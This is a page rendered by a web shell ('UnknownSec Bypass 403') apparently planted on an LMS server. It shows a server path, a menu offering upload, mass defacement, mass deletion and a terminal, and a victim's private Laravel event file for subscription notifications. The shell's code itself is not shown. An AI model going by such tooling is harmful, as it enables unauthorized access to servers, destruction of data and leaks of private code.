UnknownSec Bypass
403
:
/
mnt
/
lmsestudio-instance-vol002
/
lms_f03a82298366
/
app
/
Events
/ [
drwxr-xr-x
]
Menu
Upload
Mass depes
Mass delete
Terminal
Info server
About
name :
RecurringNotification.php
<?php namespace EstudioLMS\Events; use EstudioLMS\Events\Event; use EstudioLMS\Repositories\Financial\HireSubscriptionInterface; use Illuminate\Queue\SerializesModels; use Illuminate\Contracts\Broadcasting\ShouldBroadcast; use Illuminate\Support\Facades\Log; /** * Class RecurringNotification * @package EstudioLMS\Events */ class RecurringNotification extends Event { use SerializesModels; private $typeMail; private $transaction; /** * Create a new event instance. * * @param $typeMail * @param $transaction */ public function __construct( $typeMail, $transaction ) { $this->typeMail = $typeMail; $this->transaction = $transaction; } /** * @return mixed */ public function typeMail() { return $this->typeMail; } /** * @return mixed */ public function grabData() { if (gettype($this->transaction) == 'object') { // Verificar se o objeto tem o método getMetadata() if (method_exists($this->transaction, 'getMetadata')) { $metadata = $this->transaction->getMetadata(); $subscriptionHash = $metadata['subscription_hash'] ?? null; } else { // Fallback: tentar usar o objeto como string se não tiver getMetadata() $subscriptionHash = (string) $this->transaction; } } else { // Se for string, usar diretamente como subscription_hash $subscriptionHash = $this->transaction; } if (empty($subscriptionHash)) { Log::error('Subscription hash não encontrado no evento RecurringNotification', [ 'transaction_type' => gettype($this->transaction), 'has_getMetadata' => method_exists($this->transaction, 'getMetadata') ]); return null; } return app(HireSubscriptionInterface::class)->with(['subscription', 'user', 'periodicity']) ->findWhere([['subscription_hash', '=', $subscriptionHash]]) ->first(); } /** * @return mixed */ public function grabTransaction() { return $this->transaction; } }
Copyright © 2026 - UnknownSec